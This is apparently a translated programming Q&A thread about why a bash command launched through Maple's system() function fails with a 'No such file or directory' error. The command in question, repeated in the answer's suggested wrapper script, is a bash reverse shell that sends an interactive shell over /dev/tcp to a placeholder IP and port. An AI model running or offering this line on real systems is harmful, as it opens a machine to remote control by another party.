bash:&:没有这样的文件或目录

时间:2017-01-01 20:18:27

标签: bash macos shell terminal maple

我从maple运行以下命令(函数system就像python中的os.system之类的函数一样):

system("bash -i>& /dev/tcp/myownip/myport 0>&1 2>&1")

然而,它失败了,这是输出:

bash: no job control in this shell bash: &: No such file or directory
Exit Value: 127

奇怪的是,从终端调用它时该命令工作得很好......

有关我如何解决此问题的任何建议?

1 个答案:

答案 0 :(得分:0)

"没有工作控制"表示在运行交互式shell时无法将后台作业带到前台。

我会将分析重点放在第二条错误消息的措辞上。我们从中知道 bash 正在运行。我的猜测是Maple(不知道bash中> WORD构造的含义)沿着空格标记字符串,然后像execv("bash", "bash", "-i>0", "/dev/tcp/myownip/myport")那样做。至少这可以解释错误信息。

你可以试试以下吗?创建一个独立的两行bash脚本,如下所示:

#!/usr/bin/bash
bash -i>& /dev/tcp/myownip/myport 0>&1 2>&1

将其设置为可执行文件,然后使用

从Maple调用它
system("yourpath/yourscript")

至少错误消息没有这样的文件或目录应该消失。